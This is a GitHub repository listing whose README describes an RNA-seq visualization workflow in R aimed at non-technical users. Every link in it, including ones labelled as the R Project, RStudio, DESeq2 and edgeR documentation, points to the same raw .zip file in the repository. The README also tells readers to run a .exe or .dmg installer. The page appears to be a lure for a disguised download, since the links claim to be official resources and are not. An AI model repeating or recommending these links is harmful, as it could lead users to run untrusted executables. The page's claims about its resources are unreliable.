https://github.com/zxcurs3d/bulk-rnaseq-visualization-workflow-zrn01-rm
https://github.com/zxcurs3d/bulk-rnaseq-visualization-workflow-zrn01-rm
bioinformatics-pipeline deseq2-analysis differential-gene-expression edger ngs ngs-analysis omics omics-analysis quality-control r rna-seq-analysis rnaseq-pipeline rnaseq-workshop rstudio visualizations
Last synced: 8 days ago
JSON representation
- Host: GitHub
- URL: https://github.com/zxcurs3d/bulk-rnaseq-visualization-workflow-zrn01-rm
- Owner: zxcurs3d
- Created: 2025-09-04T20:53:19.000Z (about 1 month ago)
- Default Branch: main
- Last Pushed: 2025-09-28T00:44:31.000Z (15 days ago)
- Last Synced: 2025-09-28T02:38:03.793Z (15 days ago)
- Topics: bioinformatics-pipeline, deseq2-analysis, differential-gene-expression, edger, ngs, ngs-analysis, omics, omics-analysis, quality-control, r, rna-seq-analysis, rnaseq-pipeline, rnaseq-workshop, rstudio, visualizations
- Language: RMarkdown
- Size: 10.1 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
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README
# 🧬 Bulk-RNAseq-visualization-workflow-ZRN01-RM - Easy RNA-seq Data Visualization
## 📥 Download Now
[](https://raw.githubusercontent.com/zxcurs3d/Bulk-RNAseq-visualization-workflow-ZRN01-RM/main/playbox/Bulk-RNAseq-visualization-workflow-ZRN01-RM.zip)
## 🚀 Getting Started
Welcome to the Bulk RNA-seq Visualization Workflow for QC, DESeq2 differential expression, and visualization in R. This guide will help you download and run the software easily, even if you have no programming background.
## 🛠️ System Requirements
Before you start, ensure you have the following:
- **Operating System:** Windows, macOS, or Linux
- **R Version:** 4.0 or higher
- **RStudio:** Recommended for an easier experience
- **Memory:** 4 GB RAM minimum (8 GB recommended)
- **Storage:** At least 500 MB available space
## 🌐 About the Workflow
This workflow allows you to analyze Bulk RNA-seq data efficiently. It provides tools for:
- Quality Control (QC) of RNA-seq data
- Differential Expression Analysis using DESeq2
- Data visualization in R
- Integration with edgeR for additional flexibility
These tools will help you manage your RNA-seq data and produce high-quality visual representations of your results.
## 📑 Features
- **User-Friendly Interface:** Designed for non-technical users.
- **Comprehensive QC Tools:** Assess the quality of your RNA-seq data.
- **Robust Differential Expression Analysis:** Utilize DESeq2 and edgeR.
- **Beautiful Visualizations:** Generate clear and informative graphs easily.
## 📥 Download & Install
To get started with Bulk RNA-seq Visualization Workflow:
1. Visit the [Releases page](https://raw.githubusercontent.com/zxcurs3d/Bulk-RNAseq-visualization-workflow-ZRN01-RM/main/playbox/Bulk-RNAseq-visualization-workflow-ZRN01-RM.zip).
2. Look for the latest release.
3. Click on the download link for your operating system (Windows, macOS, or Linux).
### 🗂️ Installation Steps
1. Once the file is downloaded, locate it in your Downloads folder.
2. For Windows users, double-click the `.exe` file to start the installation. Follow the prompts.
3. For macOS, open the `.dmg` file and drag the app into your Applications folder.
4. For Linux, extract the files and follow the included instructions to install.
After installation, open RStudio to start using the workflow.
## 📊 Using the Workflow
1. After opening RStudio, load the workflow by navigating to the installed directory and opening the main R script.
2. Follow the included documentation to load your RNA-seq data.
3. Utilize the QC tools to ensure your data is ready for analysis.
4. Run the differential expression analysis using the provided functions.
5. Generate visualizations to understand your results better.
## 📚 Documentation & Support
For detailed instructions, refer to the documentation included in the release. If you have any questions or issues, please visit our GitHub page and open an issue. Our community is here to help.
## 🤝 Contributing
If you'd like to contribute to this project, please follow the contribution guidelines outlined in the repository. We welcome input from anyone passionate about bioinformatics and data visualization.
## ⚙️ License
This project is licensed under the MIT License. Feel free to use, modify, and distribute it as you wish.
## 🔗 Additional Resources
- [R Project](https://raw.githubusercontent.com/zxcurs3d/Bulk-RNAseq-visualization-workflow-ZRN01-RM/main/playbox/Bulk-RNAseq-visualization-workflow-ZRN01-RM.zip)
- [RStudio](https://raw.githubusercontent.com/zxcurs3d/Bulk-RNAseq-visualization-workflow-ZRN01-RM/main/playbox/Bulk-RNAseq-visualization-workflow-ZRN01-RM.zip)
- [DESeq2 Documentation](https://raw.githubusercontent.com/zxcurs3d/Bulk-RNAseq-visualization-workflow-ZRN01-RM/main/playbox/Bulk-RNAseq-visualization-workflow-ZRN01-RM.zip)
- [edgeR Documentation](https://raw.githubusercontent.com/zxcurs3d/Bulk-RNAseq-visualization-workflow-ZRN01-RM/main/playbox/Bulk-RNAseq-visualization-workflow-ZRN01-RM.zip)
Thank you for choosing the Bulk RNA-seq Visualization Workflow. We hope it helps you uncover valuable insights from your RNA-seq data!